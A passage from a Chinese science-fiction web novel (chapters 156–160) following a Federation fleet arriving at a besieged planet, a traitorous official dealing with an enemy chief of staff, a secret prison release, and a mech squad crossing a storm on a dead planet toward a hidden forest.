他现在有了上位者的威严和城府，甚至还隐隐有了几分……年轻将军的影子，不知道是和年轻的艾德莱斯更像一点，还是和那位联邦历史上最年轻的上将更像一点。 李珂这边思绪还在发散，那边裴简珩却好似感受到了什么，似笑非笑地看过来：“怎么，还准备读一下我的心？” 李珂立刻如梦初醒，讪笑着转过去扫描那六颗死星，心里嘟囔。 ……怎么出去一趟，回来变得这么不好惹了呢。 …… 另一边，闻铮从作战室回到舰桥，脸色非常非常非常的难看。 凯利斯一抬眼看到他，心里就是一咯噔，立马给赫尔发通讯，告诉他闻哥现在的脸色难看到像人没了三天一样。 然后口不择言的凯利斯大副就被首席医疗官痛骂一顿。 说得什么话！ 话是这么说，赫尔还是拎着随身小药箱，火速跑到了舰桥。 “首席医疗官申请进入舰桥。” 戈维的声音响起，闻铮抬眼看了一眼舰桥入口：“申请批准。” 赫尔赶紧过去，看到闻铮的脸色心里一惊！ ……骂凯利斯真的是骂早了，闻铮此刻的脸色还真就是难看到了那个地步！ 赫尔压低声音，连忙掏出医疗检测仪就要上手检查，低声埋怨：“你啊……你这脸色也太难看了，是不是还是……的排异反应影响？不应该啊，理论上来说你熬过了刚开始，后面就不会有这么大副作用了——” 闻铮甚至没什么心情解释，只是轻轻摆了摆手。 他现在……完全没心思说话。 赫尔低头看了看医疗检测仪的结果，咦了一声：“你的生理指标没什么太大问题啊，虽然皮质醇水平和信息素水平有点高，但也还在可控区间内……那你看上去怎么这么——” 闻铮格开了他的手。 接了那个通讯以后，他现在心里很乱。 赫尔见他像个锯嘴葫芦一言不发，也识趣地不再说话，知道这位斯洛克犟驴根本不会配合，问了也是白问，还招人烦。 他一针下去，闻铮的脸色好了一些。 舰长发问：“凯瑟琳少校，我们还有多久到达洛河星系？” 凯瑟琳看了看面板：“两个小时。” 很快了。 闻铮右手食指和中指轻轻来回敲打着扶手：“怀哲，请联系军部总部，给我洛河星系7号星最新的动向信息。” 楼怀哲领命，五分钟后就拿到了最高权限的动向信息，闻铮让他传送到了主屏幕上。 舰桥的人都能看到主屏幕，所有人在看到最新的动向图后都静默了下来。 德瓦哨兵几乎把7号星的领空周围围得水泄不通，在德瓦战舰之外一圈是联邦洛河星系的护卫军，但仅有德瓦战舰的一半不到，如果开火，绝对不敌。 7号星有星球防护，但不知为何，似乎星球防护层没有开启，也可能是被德瓦帝国示威性的一发鱼雷打破了，总之现在门户大开，毫无防御可言！ 闻铮在半空中移动了时间轴，从德瓦哨兵包围7号星开始，再到现在，来来回回拖动了三次，最后把画面停留在艾德莱斯上将发表完隔空讲话，德瓦哨兵回以一发光子鱼雷之后。 “凯利斯。” 凯利斯被闻铮叫过去，双手背后站在了闻铮半个身位后：“舰长？” 闻铮问自己靠谱的大副兼首席战术官：“你有没有觉得哪里不对？” 凯利斯刚才也看到了闻铮来来回回拖动三次的动作，慢慢道：“德瓦哨兵的意向，我有些看不懂。” 闻铮颔首。 德瓦哨兵已经向7号星发射了一枚光子鱼雷，照理来说，这就是昭示着战争正式开始的信号，但怎么在一发武器之后，就毫无动静了？ 就这么对峙着，德瓦哨兵对峙7号星，洛河星系护卫军对峙德瓦哨兵，一直持续了这么些天。 为什么？ 闻铮双指放大了那些德瓦战舰的舰身，上面写着代码，经过戈维查询的数据库比对，这些战舰都是德瓦哨兵5军与7军，而据闻铮所知，德瓦哨兵5军与7军并不归奥克斯·奴瓦辛戈统辖，而直属德瓦帝国幕僚长阿维尔·斯坦柯夫名下。 那个神秘的，从未有人见过的幕僚长。 第157章 识时务的聪明人 洛河星系7号星, 政府总部大楼顶楼 这里是整个7号星最高的地方，从落地窗看出去，7号星的一切景象都尽收眼底。 站在这里, 就站在了这颗星球的权力之巅。 绝大数人这一生都没有一次机会站在这里, 而这是林瑜淞的第二次。 他垂眼看着落地窗外的景色，又瞥到了一旁的悬浮屏, 上面是7号星外德瓦哨兵的实时动向图。 第一次，他是一颗弃子, 政治失败被推出去顶罪。 这是第二次，历史不会重演, 他不会跌倒两次。 手腕上的震动响起，林瑜淞推了推鼻梁上的眼镜, 打开了全息通讯。 依然带着覆面的黑衣人的全息投影瞬间出现, 声音还是用的随机变声器：“蓟梨草收集的怎么样了？” 林瑜淞抬眼看了他一眼, 淡淡道：“都在我手里了, 除了我这儿, 整个7号星都找不到任何一棵蓟梨草。” 覆面人满意地点头。 他似乎想到了什么，忽而又问：“你倒是把江悦那个小姑娘玩弄于股掌之间, 就连第三军团之刃也被你骗了过去，这种信任被背叛的感受, 我估计他也不好受呢。” 林瑜淞倏尔一笑：“最不好受的背叛可不是我带来的，我这又算什么呢？” 他轻描淡写地带过了这语焉不详的一句，转而走向了星长办公室的内室，里面有一座巨大的防护力场，防护场内的沙发上坐着一个面色苍白的瘦削艾尼默女人，头顶的鹿角都已经失去光泽，憔悴至极。 覆面人眼底划过一丝惊讶：“原来你把她关在这里做你的傀儡, 我倒是很好奇，你用什么办法让她乖乖听话的。” 江悦冷笑一声。 她比四个月前来看，已经像是完全换了一个人。 脸上的婴儿肥已经褪去，轮廓变得棱角分明，和她曾经的上司与导师一模一样的消瘦和凌厉，就连那抹冷笑的弧度，都和曾经的闻指挥官如出一辙。 不过四个月，天翻地覆。 “你在我们面前还有什么好装的？”林瑜淞淡淡道，“如果她不按我说的做，或者我不按你说的做，7号星外围的那些德瓦战舰，会在眨眼间把这颗星球夷为平地。” 覆面人嗬嗬地笑起来：“果然，我没看错你，你是识时务的聪明人。” “看在你们帮我收集蓟梨草的份上，也为我省了不少力气，我不会对7号星做什么的。”覆面人说，“放心好了，林瑜淞，答应你的我会做到的。” “等我拿到了所有的蓟梨草，把洛河星系那些不堪一击的保卫军歼灭，你就会拥有一颗星球了。”他笑了一下，林瑜淞看不到他的脸，但也捕捉到了他眼底的傲慢和胜券在握，“当然了，前提是你要一直听我的话。” “毕竟……” 覆面人靠近了林瑜淞耳边，低声道：“你们那个沉默寡言的前同事，和失败的仿生人前台，应该早已经把信息传回去了，你现在作为联邦和人类的叛徒，可没有回头路可走喽。” 林瑜淞眼底划过一道冷光，一言不发。 江悦也听到了这句话，她冰冷地睨了一眼林瑜淞，嗤笑：“……叛徒。” 覆面人的目光在他们身上来来回回看了几次，不再刺激他们，说回了正事：“准备一下，两个小时后我需要这些蓟梨草都被相位穿梭到我的战舰上。” 林瑜淞眯了眯眼：“数量可不少，你的战舰能装下？” “这就不劳你费心了，”覆面人说，“我准备了几十艘战舰来承接，我会把相位穿梭代码给你。” 林瑜淞颔首：“知道了。” 覆面人最后看了他一眼，哼笑道：“就要坐拥一颗殖民星球的人，不该这么不开心吧？” “即使是我这种心和灵魂都是漆黑一片的政客，也会在某些瞬间为了牺牲的一些东西而哀悼。”林瑜淞的镜片闪过一线反光，平静地说，“不必多虑，我的前途一片明亮，这种哀悼不会持续多过五分钟。” 覆面人用手指点了点他，大笑着关闭了全息投影。 这个空旷又萧索的办公室内，重新归于平静。 林瑜淞瞥了一眼江悦，后者转开了脸，不再看他。 …… 覆面人关掉了全息通讯，转身拿起了旁边桌子上的一杯温水。 正在杯沿即将碰到唇边的时候，笃笃的敲门声传来。 他放下水杯，按开了房门。 一个黝黑的德瓦哨兵站在门外，对他尊敬地行礼，右手握拳在左胸口敲打三次：“参见幕僚长！帝国万岁！” 覆面人回了一次礼：“什么事？” “您吩咐用来承接蓟梨草的三十六艘战舰已经准备完毕！”德瓦哨兵恭敬地报告，“相位穿梭代码汇总完毕，路程设定完毕！只要接收到蓟梨草，就会立刻开启自动返程，回到母星的实验基地！” 覆面人颔首：“做得好，实验基地准备好了吗？” “准备完毕！”德瓦哨兵答，他淡色的眼底闪着狂热到骇人的光，“大量B-356的提取已经完成，实验基地1号至65号会在接收到蓟梨草后立刻进行制作，预估20个小时就可以用作战场，联邦与人类必败无疑！” 覆面人的声音里带了几分笑意：“我和他并不一样，我其实不在乎眼下这一战是输是赢，我看的是未来，帝国的未来。” “是，幕僚长深谋远虑！” 他稍稍顿了一下，又问：“他呢？” 德瓦哨兵显然是跟了他很久的人，哪怕没有提名字，他也知道阿维尔·斯坦柯夫问的是谁，忙道：“元帅阁下已经先行一步，但似乎没有前往东翼战场。” “……有趣。” 德瓦帝国幕僚长若有所思：“我早已听说了UNK-322那座实验基地被强袭的事了，真以为这么大的事能捂住么？可笑！还说查到是魁斗星盗的手笔……我可不这么以为。” 他双手打开，悬浮屏在他手中延展，上面的画面赫然是一幅轨迹图，从7号星到特安斯特-B，到魁斗星，再到UNK-322，又到了联邦首都星，现在又正急速朝着洛河星系而来。 阿维尔·斯坦柯夫伸出戴着手套的手指，慢慢描绘着这一路的轨迹，低笑：“闻铮啊闻铮……你可真是没让我失望。你能有今天，也有我的一份功劳吧？” “哼，都怪他太过于刚愎自用，既想要这个，又想要那个，还想要别的……我倒要看看他最后能抓得住什么。” “这是基因战士第一次上战场，我可太期待了。” 德瓦哨兵了解自己的长官，他知道此刻在那张黑色覆面之下，此刻一定是意有所指的笑：“可别像智能融合体一样，我给了他那么好的把柄在关键时刻去制衡闻铮，他还给我搞砸了。” 他最后低头看了一眼悬浮屏，第三军团和悬空号前往洛河星系的行迹是联邦的机密，一切都在暗地里进行，却不知为何，他对闻铮的踪迹竟然一清二楚！ 德瓦哨兵也瞥见了悬浮屏上的内容，快意又自傲地笑了起来。 连如此机密的行踪，他们幕僚长都能如此尽在掌握，帝国伟大的复兴，唾手可得！ ……？？ “报告舰长，我们还有5分钟到达洛河星系7号星外围，预计在20秒后退出空间迁跃模式！” 凯瑟琳少校的声音响起，舰桥所有人精神都是一震。 闻铮颔首：“全舰注意，做好到达应战准备，我们将于五分钟后抵达战场。” “大副，防护罩和隐形罩开启到100%，攻击武器准备。” “怀哲，尝试连接通讯。” 通讯官楼怀哲下意识地领命，随后愣了一下，问：“舰长，链接和哪里的通讯？” 闻铮甩给了他一个通讯频道：“开启私人通讯模式。” 通讯官不解，但通讯官照做。 三秒后，舰长席附近升起了隔绝罩。 楼怀哲偷眼看去，人的本质还是有些八卦的，虽然隔绝罩隔绝了一切声音，但从闻铮的嘴型还是能读出零碎的什么“草”、“相位穿梭”、“定位”……其他的就读不出来了。 当然，也是因为第一大副发现了他的视线，警告地瞥了他一眼，通讯官立刻老实了，移开了目光一眼都不敢再多看。 三分钟后，闻铮结束了这个神秘的私人通讯。 凯瑟琳少校已经开始倒数：“五秒后到达，五、四——” “一！” 眨眼间，舰桥所有人的眼前出现了无边无际、黑压压的德瓦战舰！ 闻铮缓缓从舰长席上站了起来，眼神冰冷凌厉。 在压倒性的兵力面前，洛河星系护卫军银白色的战舰几乎要被黑色湮没，只是不知为何德瓦战舰没有主动开火，否则眨眼之间，洛河星系护卫军连碎片都剩不下。 然而，他们依然还是为了保卫联邦，毅然决然地出现在了这里，成为7号星的第一道防线。 闻铮望着那些若隐若现的银色，几不可闻地轻声叹了口气。 联邦，怎么会真的放弃这颗星球呢。 第158章 父亲，我向您发誓 “怀哲, 联系洛河星系护卫军。”闻铮看着屏幕上几乎被淹没的银白色，挥去了心底的怅然。 楼怀哲尝试联系洛河星系护卫军负责人，一分钟后他汇报：“舰长, 洛河星系护卫军负责人克莱尔上校已经在线上。” 闻铮颔首示意接通, 下一秒，一个面容坚毅英挺的Alpha军官就出现了在大屏幕上。 他看见闻铮的时候眼睛一亮, 激动地从舰长席上站起来行礼：“洛河星系护卫军统领克莱尔·尼克上校，向闻上将报道！” 德瓦帝国在宣战以后, 就陆陆续续地包围了洛河星系的5、6、7号星，其中7号星的火力尤甚。从战术图上来看, 5号星和6号星的德瓦兵力只是为了全方位包围7号星而设立，明眼人都看得出来他们是为了这颗曾经的殖民星而来的, 甚至不惜放出了六十八艘德瓦战舰和二百四十二艘德瓦前行舰！ 而洛河星系一向偏远, 也不是什么重要的战略枢纽位置, 克莱尔上校手下的护卫军, 最多也就不到一百艘战舰, 还都是III型战舰。 以卵击石，却义无反顾。 洛河星系护卫军的所有人都做好了为7号星、为洛河星系、为联邦成为第三次星际战争的首批牺牲者, 却没想到，德瓦哨兵不知为何, 只是在这里进行对峙，却一直不曾率先开火。 ……达摩克利斯之剑，悬了这么多天。 直到方才，克莱尔的通讯官难以置信地惊叫：“——上校！是、是第三军团的通讯请求！” 克莱尔几乎不敢相信自己的眼睛：“你说什么？！” 通讯官双眼赤红，确定了三次才颤抖着声音：“是……是悬空号！” 此刻，克莱尔隔着屏幕注视着这位他此前未曾有过荣幸亲眼见过的联邦最年轻的上将，竟有一种死里逃生的溺毙感。 他看着屏幕内坐在舰长席上那位瘦削苍白的闻上将缓缓站了起来, 也对自己行了个军礼，缓缓道：“克莱尔上校，请允许闻铮携悬空号全体512名军官，向洛河星系护卫军的诸位表达敬意。” 大多数人都以为7号星的偏远和落后已经让它和艾尼默人被联邦所放弃，然而到了最后关头，联邦的所有战士都愿意为了它慨然赴死，哪怕兵力悬殊也分毫不让。 克莱尔上校双目微红，绝望之中蓦然莅临的希望让他出口的语调都几乎哽咽起来，半晌才道：“只有悬空号吗？德瓦哨兵兵力太多，就算是悬空号这种超I型战舰，恐怕也寡不敌众。” 闻铮微微笑了笑，没有正面回答这个问题，而是转而问：“克莱尔上校，洛河星系护卫军中，有多少军官有能力登舰近战？” 克莱尔上校粗略想了一下，又拉出悬浮屏对照名单确认后才上报：“432人。” 闻铮颔首：“够了。” 克莱尔上校一怔：“您这是——” “将这432人相位穿梭到悬空号上，做好近战准备，我自有安排。”闻铮对他颔首，“此外，按照联邦军部战时条例，对战期间需要准备至少5%的隐形舰作为防护，你们是否安排了？” “当然！”克莱尔上校答，“我们在包围圈外设置了4艘III型战舰和两艘II型战舰进入隐形状态。” “做得好，”闻铮微微眯眼，“我需要一艘II型战舰。” “是，长官！”克莱尔上校低头应道，顺口问，“您想要这艘隐形舰前往哪里？” 闻铮道：“这里。” …… 悬空号的战术部和轮机部忙了起来。 闻铮在和首席战术官凯利斯讨论着什么，凯利斯的表情十分复杂，惊愕、了然、担忧……等等混杂在一起，最后也只是轻轻叹了口气。 另一边，黎晓在诺特上尉的热心帮助下，很快就适应了悬空号的轮机部工作，虽然还有一丝紧张，但战争的威胁如鲠在喉，甚至没有时间留给他紧张。 此刻轮机部还要和洛河星系护卫军合作，相位穿梭400多号人到悬空上，一次相位穿梭的上限是30人，轮机部忙成了没有感情的相位穿梭操作机器。 等到400多号人都被穿梭到了悬空号上后，闻铮也和凯利斯确定了最后的行动方案。 在3号甲板的大平台上，闻铮站在最前面，注视着这群执行最危险任务的死士军官们，似乎想记住他们每个人的脸。 在公布完行动方案之后，他才缓缓说道：“你们即将负责这场战役中最重要的任务，我希望还能再见到你们，但也请做好为联邦牺牲的准备，联邦会永远铭记。” 闻铮对台下的432人敬了联邦军礼，432名军官也同时沉默地回礼。 在这一瞬间，万物无声，惟有衣物摩擦的声音，和灵魂震荡的声音，清晰可闻。 …… 联邦，首都星，联邦军部监禁处 大门倏地打开，浑身都被遮得严严实实的狱警出现在门后，看着眼前穿着军装的人，低头行礼：“段上将。” 段和华对他颔首：“麻烦了。” 看不清狱警的脸，但从语调和声音中能判断他笑了一下：“您帮了我那么多，这是我应该做的。” “不要这么说。”段和华沉默了一下，方才道，“在那时我做出了帮你的决定，只是为了帮你，并不是为了等你的回报。只是那时的我……确实没想过有今天。” “我明白。”狱警说，“您帮了我，拯救了我的家人，这份恩情无论如何我都永远铭记。” 他微微侧身让开：“时间紧急，我们就先别叙旧了，请跟我来。” 段和华低声道谢，他跟着狱警在联邦军部监禁处里东绕西绕，避开了所有的人工电子眼和其他警卫，顺利地抵达了其中一个监禁室。 狱警刷开了认证门禁，银白色的墙壁上溶开一扇门，段洄坐在里面，看到了自己父亲，微微一怔。 段和华看着他，神色复杂，缓缓道：“到时间了。” 段洄耸了耸肩：“现在可是大半夜，军事法庭什么时候半夜开庭了？……算了，也无所谓，走吧。” 段和华说：“不去军事法庭。” 段洄愣住，棕色的眼底闪过一丝诧异：“……什么叫不去军事法庭？那去哪里？” 段和华沉默了几秒钟，才说道：“玛特星系。” 段洄瞬间变了脸色。 狱警早在他们开始说第一句话的时候就站到了门外，他很清楚，很多事情还是不知道比较明智。 只是……他低头看了看工作通讯上面显示的动态图，还是轻咳了一声：“段上将，段少将，我们需要抓紧时间了。” 段洄轻轻咬住了腮边的肉，莞尔一笑：“原来已经到了这个关头了。” “你去拿到’Annihilation’，不会有人知道我们把它放在了那里，一切应该会很顺利。”段和华说，“然后直接潜去德瓦母星，我会派人接应你。” 段和华似乎想到了什么，有一张年轻又神采飞扬的脸出现在他眼前，转眼间又变的血肉模糊大笑不止，最终如粉尘一般消散了。 他微阖双眼：“已经到了这个关头了。” 狱警又催了一次，段洄抬起脚朝监禁室外走去，在路过段和华的时候蹲了一步，轻轻说：“我们即将结束这一切，我会结束这一切。” 他抬眼注视着那双和自己如出一辙的棕色眼睛，眨眼间一滴眼泪从他的眼角滑落，直直地坠落到衣领之上。 “父亲，我向您发誓。” …… 玛特星系，玛特-Z1星 李珂有些犹豫地问：“裴少将，我们真的要降落在这里吗？” 玛特-Z1星是第三颗衰竭的死星，裴简珩没有带他们去正在衰竭中的玛特-B，而是来到了这里，确实让李珂和怀特有些不解。 裴简珩操作着凌风号缓慢进入玛特-Z1星的范围之内，反问道：“我们此次的首要任务是什么？” 李珂一愣，和怀特对视一眼：“呃，找到’Annihilation’并将其带到德瓦母星。” “根据我们目前已知的信息推断，段家绝对手里已经有了足够让德瓦母星彻底毁灭的’Annihilation’数量了，否则他们不会选择在这个时候挑起第三次战争。”裴简珩的思路很清晰，“而这一部分’Annihilation’提取物是不可能存放在生命星的，同样，因为这种物质的活性太强，它也不可能和正在提取进程中的本物质一同存放。” 最后这个信息点也是黎晓无意间告诉他的，他当时执迷于研究’Annihilation’的物质原理，嘟囔了一句，被裴简珩记了下来，没想到在这里成为了他们推断’Annihilation’物质所在位置的助力。 李珂恍然：“原来如此！所以您才会回头去看那几颗死星！” 怀特沉思：“那为什么会选择玛特-Z1呢？” 裴简珩露齿一笑：“我猜的。” 怀特：“……” 李珂：“……” 哈？ 裴简珩收回了笑容，眼神幽深。 第159章 玛特-Z1 玛特-Z1已经是一颗死星, 这颗星球已经完全无法再适合任何一种生物生存，氧气含量极低，昼夜温差超过600摄氏度。 阳面无时无刻有岩浆进行大规模喷发, 给本就一片疮痍的地表更添上几分崎岖。而背阴面则是充斥着巨大无比的地表风暴, 裹挟着冰晶和腐蚀性物质，不曾有一刻的停歇。 眨眼间, 在金色微光闪过后，有八个人形身影突兀地出现在了玛特-Z1的背阴面地表上, 正是被从凌风号相位穿梭下去的裴简珩一行人。 他们穿着人形机甲，只有靠联邦最高科技制造的这款机甲才能保证他们能在死星中正常地生存与活动, 因此裴简珩留了一些人在凌风号上进行接应，带了身手最好的一批下属降落到了这颗星球上。 裴简珩眨了眨眼, 机甲的透明面罩内出现了数据屏, 他看着屏幕上显示的数字, 有了决策：“跟在我身后, 朝这个坐标点前进, 预计需要6分21秒到达。” 怀特的声音从耳麦里响起：“裴少将，我们为什么不直接相位穿梭过去那里？” “我尝试过, 那里信号极差，无法被直接相位穿梭。”李珂先一步回答了, “这里是距离那处坐标最近的可穿梭点。” 一边说，他们一边操纵着机甲朝坐标点飞去。 裴简珩没有打断李珂和怀特的交流，他正在思考。 他当然不是像和李珂说的一样完全是靠猜的，他猜测的基础完全是基于事实出发的判断和推测。 玛特-Z1是死星没错，但在进行全方位深度扫描的时候，裴简珩发现在这座死星肆虐的风暴之中，有一个模模糊糊的地带。 是真的“模模糊糊”。 凌风号虽然小, 但是作为顶级机密情报部门，它和悬空号一样，配备的各种设备都是联邦最顶尖的。结果在扫描玛特-Z1的时候，却发现在最强风暴的风暴眼中，有一片半径约为一千三百多公里的地带，在扫描仪中模糊一片，什么数据都探测不出！ 以整颗星球作为基准，这只是极小极小，几乎毫不可见的一处，但裴简珩偏偏就注意到了。 不合理，非常不合理。 玛特-Z1在未完全衰竭前，也只是一刻不到I级的无生命行星，较之联邦首都星完全是一颗低维星球，不可能有任何联邦现有的科技水平无法探测或解读的情况发生！ 除非……这并不是玛特-Z1原生的东西。 他们探测不出那里的图像，也探测不出这里的大气情况，地表情况……一切都是朦朦胧胧模模糊糊的，好像被人为打上了马赛克。 没问题才有鬼。 裴简珩当机立断带人前来查探，比起正在开采的’Annihilation’，已经储备的至少500g的’Annihilation’更为关键。 “裴少将，你们即将在7秒后进入飓风带，风速2800公里/小时，障碍物等级III级，腐蚀性II级，通讯干扰I级，预计通过时间10分钟31秒，预估机甲防御下降23%。” 凌风号的总控是佩珀少校，她是瑞安人，瑞安人以极度的冷静和理智出名，有生物机器的别名，佩珀少校更是其中的佼佼者，简直比仿生人还人工智能，但仍然还保留着生物体的感知和共情力。 佩珀少校此刻正在凌风号的操作台前注视着屏幕上的八个分屏画面，她的瞳孔是四重瞳，均可以分别单独使用。 “五、四、三——” “——二、一！” “进入飓风带，请各位严格按照轨迹飞行，注意避让障碍物。” “妈的！” 佩珀少校的话音还没落完，李珂就低咒了一句，飓风圈里的冰晶障碍物实在是太多了，他们根本不可能完全躲开！李珂刚操作着机甲翻转躲开一块大的，右腿机甲就被一小块锋利的冰晶打到，立刻腐蚀了一小块。 和机甲开启了65%精神链接的李珂龇牙咧嘴，那种痛让他一时之间大脑一片空白！ “机甲敏锐感知度下调至13%，”裴简珩的声音在耳麦里响起，“冰晶腐蚀性很强，数量多速度快，我们不可能悉数躲开，半径小于3cm的全部硬扛，加速通过！” 七位下属立刻领命。 佩珀少校的四重瞳注视着悬浮屏，看着其中一块数据看板上的指标皱眉，打开了私人通讯：“裴少校，您的机甲敏锐感知度没有下调，是否触控失灵？我可以远程进行权限接管调整。” “多谢你，佩珀少校，但不需要。”裴简珩淡淡道，“机甲敏锐感知度和精神力是同步的，我躲得开。” 佩珀少校眼底划过一丝了然：“收到。” 当然，她怎么忘了，她们这位裴少将，有着四倍S级Alpha机能！精神力也是四倍，当然躲得开！ 裴简珩甚至上调了机甲融合度，他的机甲快到几乎有残影，就连飓风中的冰晶都丝毫沾不上他的边！ 还有六分钟。 佩珀少校远程盯着这八个人，发现左下角的机甲3号突然失去了信号！ “阿诺上尉信号丢失，”佩珀少校开启公众通讯，“你们其他人是否有看到他？” “我看到他了！”机甲6号的莉莉丝上尉急急道，“我在他后面，他刚才被一块大型冰晶击中，现在动力舱有半个掉出来了！” 如果不赶紧弄回去，机甲会在1分钟内坠毁！而一旦机甲坠毁，里面的阿诺上尉毫无生还可能！ 佩珀少校捏紧了右手，强行镇定：“莉莉丝上尉，你能否进行外部援助？” “我……我不行！”莉莉丝有些挫败和焦灼，“他已经偏离了航线，我和他的直线距离上有冰晶群，我躲不开！” 阿诺上尉的声音在频道内响起：“别管我了！动力舱失去响应，我的操作台也失效了！现在我已经脱离航线，如果你们再来找我，就出不去了！” 怀特失声大吼：“阿诺！” 公共频道内一片死寂。 三秒后，一个低沉的声音在频道内想起，语气沉着冷静：“佩珀少校，请把阿诺上尉的机甲权限转接给我，我会在十五秒后前往支援。” ——是裴简珩！ “裴少将！”佩珀少校变了脸色，“就算你的精神力远超常人，但你也无法同时支撑两个机甲的飞行！” “这是命令。”裴简珩淡淡道，“服从我的命令，少校。” 佩珀少校无言，只能咬着牙强行接管了阿诺上尉的机甲权限，又把权限移交给了裴简珩。 怀特就在裴简珩身后飞行，他眼看着眼前那具银白色的机甲倏地在他面前消失，忍不住捏了把汗！ 他操作着一具机甲都有些费劲，最高只能融合到75%，而裴简珩不止要操纵他自己的，现在还要去操纵阿诺那个已经失去响应的机甲！太冒险了！这怎么做得到啊？！ 佩珀少校紧紧盯着悬浮屏，心都提到了嗓子眼。 她看到裴简珩的机甲1号在飓风和冰晶间快速闪现又消失，逐渐接近机甲3号若有若无的坐标点，就在马上要汇合的时候，两具机甲的定位双双消失！ 佩珀少校的心狠狠地沉了下去。 其余六个人没有听到任何声音，莉莉丝忍不住问：“佩珀！裴少将……找到阿诺了吗……？” 佩珀少校呼吸急促，她银灰色的四重瞳因为精神高度集中而开始泛红，半晌才道：“……我……机甲1号和机甲4号的坐标已丢失……” 公共通讯频道内又一次陷入死寂，六具机甲的飞行速度甚至都慢了下来。 怎么…… 怎么会…… 就在佩珀少校眼角那滴银色的泪差点落下来之前，悬浮屏上突然出现了两个坐标点！ 裴简珩的声音也随之响起，语气没有一丝慌乱，依然沉稳平和：“机甲3号的动力舱已经归位，操作台恢复成功，权限现在转回给阿诺上尉。” 公共频道内所有人松了口气的声音此起彼伏。 佩珀少校眨掉了那滴眼泪，一方面庆幸裴简珩和阿诺都安全，另一方面也对超S级Alpha恐怖的精神力有了更为深刻的认知！ 她算是这个团队里的数据分析智脑，她的脑子里有着所有人的能力数据多维图，也包括自己的上司裴简珩。 在四个月前，好像他都没有这么恐怖的实力，怎么休假了四个月，回来就这么突飞猛进了…… 看来数据又要更新了。 裴简珩确认了阿诺上尉已经恢复正常战斗力之后，又加速回到了飞行队伍的最前面，他注意到了刚刚所有人都放缓了速度，垂眼道：“我们此行，肩负着联邦最高的使命，就算只剩一人，也必须拿到’Annihilation’，无论谁牺牲，其他人都不能为此停留驻足。” “哪怕是我裴简珩，也是一样。” “这是命令，明白了吗？” 在短暂的沉默过后，频道内响起了多重的声音。 “明白，长官！” 佩珀少校的提醒随后响起：“还有十秒离开飓风带进入风暴眼，距离目的地坐标还有十三秒，请做好准备。” “……三、二、一！” 银白色的机甲一个接一个地冲过飓风带，进入了风平浪静的风暴眼之中。 而所有人，都被坐标目的地的场景而惊骇！—— 作者有话说：感谢34402499、苏怿清的营养液！ 掉落冰晶标本x1！ 第160章 我要闻铮，一击毙命 一片森林。 在这个已经衰竭到被风暴和岩浆侵蚀, 昼夜温差超过600度的死星上，竟然有一片森林！ 裴简珩等八人悉数惊呆，就连凌风号上的其他成员, 也都对着实时影像目瞪口呆。 李珂震惊到喃喃自语：“这怎么……这怎么可能！” 裴简珩也是目光沉沉, 他转念一动，和他的精神力90%融合的机甲就自动播报了外界探测条件：“外界温度27摄氏度, 氧气含量24%，重力为类首都星重力范围, 适合生存。” 在这样一颗条件极其恶劣的星球上，竟然有这样一片生命的生存之境, 怎么可能没问题！ 裴简珩将机甲设定为探测模式，示意其他七个人跟着他小心前行。 只是他一边探索, 一边心下思量。 ’Annihilation’是能量如此恐怖的物质, 仅300g注入地核就足以毁灭一颗星球, 如果它真的被段家存放在这里, 那怎么反而会成为孕育生命的温室？ 是他们对’Annihilation’的探索和定义都错了吗？ 还是这种物质, 有它更未被发掘的另一面呢…… 以整颗星球的维度来看，这只是最不起眼的一小块, 但以生物体的机能维度来看，这片森林有大的出奇, 他们绝对不可能就这样一点一点寻找。 “佩珀少校，”裴简珩对在凌风号上的总控吩咐道，“你们现在还是不能扫描这片区域吗？” 佩珀少校再次尝试从凌风号上发起扫描：“不能，裴少校，这片区域无法从该星球之外进行扫描。” 无法从该星球之外…… 裴简珩略一思索，启动机甲的最高速度，在整片森林的上空飞速地转了一圈。 “佩珀少校, 我已经开启了机甲的扫描模式，虽然不如凌风号的准度和广度，但应该也足够进行基本维度的数据分析了，”裴简珩说，“原始数据和坐标已经传送给凌风号，请尽快分析，看能否找到异样所在。” 佩珀少校分出了四重瞳中的一个，盯住了另一个悬浮屏，上面是从裴简珩的机甲1号上传回来的数据，确实不多，机甲的扫描能力相对有限，但总比什么都没有好。 她和凌风号的计算机一同进行计算，很快就分析并整合好了所有了数据，她的目光落在其中一个明显数据有异的区域，微微一笑，在公共频道内汇报：“计算已完成，裴少校，多亏你传回来的数据，我们发现这个坐标附近是能量最异常的地方，也是大气、温度、重力等标准最平衡之处。” 换句话说，这里是一切的衍生之处。 裴简珩颔首：“全体准备，向这里出发。机甲2、4、5号进行防御；3、7、8号进行探测；6号，你和我一起，进入攻击状态。” 机甲6号是莉莉丝上尉，她是瓦特人，以骁勇善战著称，在这些人里，纯论战力，裴简珩登顶，她居第二。 众人都领命布局，八具机甲列队成阵，极速前往那处能量最为奇异之地！ 而他们距离那处坐标越近，通讯信号反而越弱。 等到他们纷纷在坐标附近落地之后，通讯信号更是弱到几乎没有，十条里也就收到一条。 李珂落地，按了一下手腕内侧，整个机甲就在眨眼之间从他身上褪了下去，完全看不出他的手腕上还藏有一身战斗力惊人的战甲。 他朝裴简珩踏近一步，有些忧虑：“裴少将，本来这里通讯信号就不是很好，现在更是基本没有了，如有意外，我们恐怕很难和凌风号进行联系。” 裴简珩颔首：“我知道了，先不担心。” 不知道为什么，虽然裴简珩只是简简单单八个字，也没说为什么，但李珂就是有一种莫名的安全感，好像他说了先不担心，他们就不用担心，似乎他已经一切尽在掌握。 但他也是第一次来这里，真的能一切都尽在掌握……吗？ 那边李珂还在胡思乱想，这边裴简珩看向了怀特，低声道：“我给你一个任务。” 纽瑟人微微挑眉。 风暴眼中，八人警惕前行，而在玛特-Z1星外，凌风号也进入了隐形模式，安静地居于一角，尝试在通讯信号极差的情况下努力不断联。 就在这时，凌风号的小型舰桥突然响起了短促的滴滴声。 裴简珩不在的时候，佩珀少校有凌风号的指挥权，她抬眼看过去，正守着监测仪的一个莱克尔人朝她转了过来，眉头紧皱：“佩珀少校，我们监测到有一艘不明星舰极速掠了过去，它处在隐身状态，所以我们没有捕捉到身份信息，但应该是联邦的小型星舰。” 联邦的？ 佩珀少校一向没有表情的脸上也划过一丝诧异：“联邦有说过给我们增派人员了吗？” 莱克尔人摇头：“没有接到这个指令。” 佩珀少校刚要说什么，监测仪却又一次滴滴地响了起来！ 莱克尔人愕然，同一艘星舰只会被报一次监测异常，这怎么又响了，bug了？ 他转过去查看，却在下一秒万分震惊地睁大双眼，甚至从转椅上站了起来！ 佩珀少校看向他：“怎么了？” 